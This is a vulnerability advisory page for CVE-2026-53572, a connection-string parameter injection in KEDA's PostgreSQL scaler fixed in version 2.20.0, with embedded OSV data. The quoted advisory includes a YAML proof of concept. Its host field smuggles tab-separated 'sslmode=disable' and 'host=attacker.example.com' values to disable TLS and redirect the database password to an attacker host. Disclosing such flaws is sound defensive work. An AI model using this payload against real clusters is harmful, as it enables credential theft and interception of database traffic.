CVE-2026-53572: Github.com/kedacore/keda/v2 KEDA Has PostgreSQL Connection String Vulnerability
MODERATECVE-2026-53572 is a MODERATE (CVSS 5.9) keda has postgresql connection string vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Github.com/kedacore/keda/v2 libraries in the Go ecosystem. The issue involves keda has postgresql connection string parameter injection via incomplete whitespace escaping. Remediation is available by upgrading affected packages to version 2.20.0.
CVE-2026-53572 at a Glance
Security Impact
CVSS: 5.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N).
How to Fix CVE-2026-53572
To remediate this vulnerability, upgrade all affected Github.com/kedacore/keda/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/kedacore/keda/v2 to 2.20.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/kedacore/keda/v2
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-53572, inspect your project dependencies for Github.com/kedacore/keda/v2:
inspect dependencies for github.com/kedacore/keda/v2
Analyze the terminal output to locate any version of Github.com/kedacore/keda/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.20.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Github.com/kedacore/keda/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-53572 Affected Github.com/kedacore/keda/v2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/kedacore/keda/v2
|
Go |
< 2.20.0
|
2.20.0
|
References
Frequently Asked Questions
What is CVE-2026-53572?
Which Github.com/kedacore/keda/v2 versions are affected?
What version fixes CVE-2026-53572?
Is github.com/kedacore/keda/v2 affected?
What is the CVSS score of CVE-2026-53572?
What CWE is associated with CVE-2026-53572?
How can I check Go dependencies for CVE-2026-53572?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6w3m-4hhp-775q",
"modified" : "2026-07-07T23:44:13Z",
"published" : "2026-07-07T23:44:13Z",
"aliases" : [ "CVE-2026-53572" ],
"summary" : "KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping",
"details" : "### Summary\n`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:\n```go\nfunc escapePostgreConnectionParameter(str string) string {\n if !strings.Contains(str, \" \") {\n return str // returned as-is for any non-space whitespace\n }\n str = strings.ReplaceAll(str, \"'\", \"\\\\'\")\n return fmt.Sprintf(\"'%s'\", str)\n}\n```\nThe function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\\tsslmode=disable\\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.\n\n### Vulnerable code\n`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.\n\n### Impact\nTenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:\n- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.\n- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.\n- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.\n\nNote: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target.\n\n### Proof of concept\n```yaml\ntriggers:\n- type: postgresql\n metadata:\n host: \"legit.db.svc\\tsslmode=disable\\thost=attacker.example.com\"\n port: \"5432\"\n userName: \"keda\"\n dbName: \"metrics\"\n sslmode: \"require\"\n query: \"SELECT 1\"\n```\nAfter `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.\n\n### Suggested fix\n- Escape / reject any ASCII whitespace (`\\t`, `\\n`, `\\r`, `\\f`, `\\v`, space) and backslash.\n- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.\n- Validate each field against an allow-list pattern before use.\n\n### Resources\n- `pkg/scalers/postgresql_scaler.go`\n- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/kedacore/keda/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.20.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/kedacore/keda"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-74", "CWE-89" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-07T23:44:13Z",
"nvd_published_at" : null
}
}